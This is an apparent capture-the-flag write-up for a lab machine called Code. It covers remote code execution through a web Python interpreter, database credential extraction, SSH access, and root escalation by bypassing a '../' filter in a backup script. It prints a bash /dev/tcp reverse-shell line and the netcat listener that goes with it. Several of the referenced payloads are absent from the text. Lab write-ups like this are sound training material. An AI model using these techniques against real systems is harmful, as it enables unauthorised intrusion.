Code
Writeup of Code machine
Last updated
Writeup of Code machine
Last updated
Port 5000: This TCP port is opened and used by Universal Plug N' Play (UPnP) devices to accept incoming connections from other UPnP devices. UPnP devices connect to each other using TCP protocol over port 5000.
https://10.10.11.62:5000
which showed me Python3 Interpreter. I was able to run different codes, and the most interesting part was that it was possible to touch the backend server. After trying many SSTI payloads, I've received successful attempts.From this point, we can do Remote Code Execute to own app-application
Embedding bash -c 'sh -i >& /dev/tcp/10.10.xx.xx/PORT 0>&1'
into shell.sh
Netcat listener nc -lnvp PORT
The first command retrieves your shell.sh
file and moves it to a temporary directory. Then, it executes it. Make sure to start up your python3 http server by running python3 -m http.server 8080
Back to the web portal, we can list the queries of database using this payload.
Two users found. I unhashed their passwords and tried to login through ssh. As a result, logging in as martin worked.
backy.sh file has a root permission and requiring task.json file prior to execute.
This Bash script processes a JSON file containing directories to archive. Here's a simplified breakdown of its actions:
Input Validation:
It checks if a JSON file is provided. If not, it exits with a usage message.
File Existence Check:
It verifies that the specified JSON file exists. If not, it exits with an error.
Directory Processing:
The script updates the JSON file to remove any ../
from the directory paths using jq
.
Allowed Path Check:
It checks that all directories listed in the JSON file are under /var/
or /home/
. If any directory is outside these paths, it exits with an error.
Backup:
If all checks pass, it runs a backup command (/usr/bin/backy
) to archive the directories.
Firstly, change the content of task.json file, which is inside backup directory as follows
This part of the script uses the jq
tool to remove any instances of ../
from the directory paths. However, it doesn’t directly remove ...
or ./
.
The key action here is:
Bypassing ../
: If the directory path contains ../
, this part of the script would remove it, preventing potential directory traversal attacks or misconfigurations. But it doesn’t clean up other characters like ./
or ...
, which could still cause issues in path validation.
Execute
Then, go to the /tmp
directory to check what you've received.
Use
The End!!!
Thank you!!!